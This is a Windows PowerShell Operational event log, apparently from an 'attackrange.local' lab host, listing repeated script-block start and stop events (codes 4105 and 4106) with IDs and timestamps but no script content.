ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034639
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034638
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034637
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034636
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034619
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034614
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034613
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034593
Keywords=None
